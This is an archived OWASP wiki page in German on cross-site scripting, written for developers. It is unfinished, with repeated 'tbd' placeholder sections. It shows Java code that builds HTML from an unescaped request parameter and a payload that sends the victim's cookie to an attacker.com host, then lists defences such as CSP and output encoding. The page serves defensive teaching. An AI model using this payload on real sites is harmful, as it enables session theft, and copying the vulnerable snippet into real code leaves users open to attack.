This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)
← Top_10_fuer_Entwickler/A1_Injection | Top_10_fuer_Entwickler/A3_Fehler in Authentifizierung und Session-Management → |
Seite in Bearbeitung (BAUSTELLE!!)
A2 Cross-Site Scripting (XSS)
Anwendungs- spezifisch |
Ausnutzbarkeit DURCHSCHNITTLICH |
Verbreitung AUSSERGEWÖHNLICH HÄUFIG |
Auffindbarkeit EINFACH |
Auswirkung MITTEL |
Application / Business Specific |
Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren. | Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken. | XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen. | Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc. | Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle. |
Mögliche Angriffsszenarien
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>' .
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere Informationen zu CSRF. Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:
|
Wie kann ich 'Cross-Site Scripting (XSS)' verhindern?
Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.
|
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':
XSStbd |
Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':
Content Security Policy (CSP)Voraussetzung: Javascript Code wird in .js externe Dateien ausgelagert, d.h. inline script tags u. ä. sollten nicht genutzt werden. Setzen des Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort: response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );
Moderne Browser erkennen an diesem Header welchen Quellen die Webseite vertraut. Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. |
Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':
Reflektiertes und Persistentes XSSCanonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen. Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) ); | |
Auswirkung(en) auf den Benutzer
DOM-basiertes oder lokales XSS(ganze Breite) |
Referenzen
OWASP
Andere
|
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':
tbd Text | |
Auswirkung(en) auf den Benutzer
(ganze Breite) Text |
Referenzen
|
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':
tbd Text | |
Auswirkung(en) auf den Benutzer
(ganze Breite) Text |
Referenzen
|
← Top_10_fuer_Entwickler/A1_Injection | Top_10_fuer_Entwickler/A3_Fehler in Authentifizierung und Session-Management → |
![CC-by-sa-3 0-88x31.png](/images/6/64/CC-by-sa-3_0-88x31.png)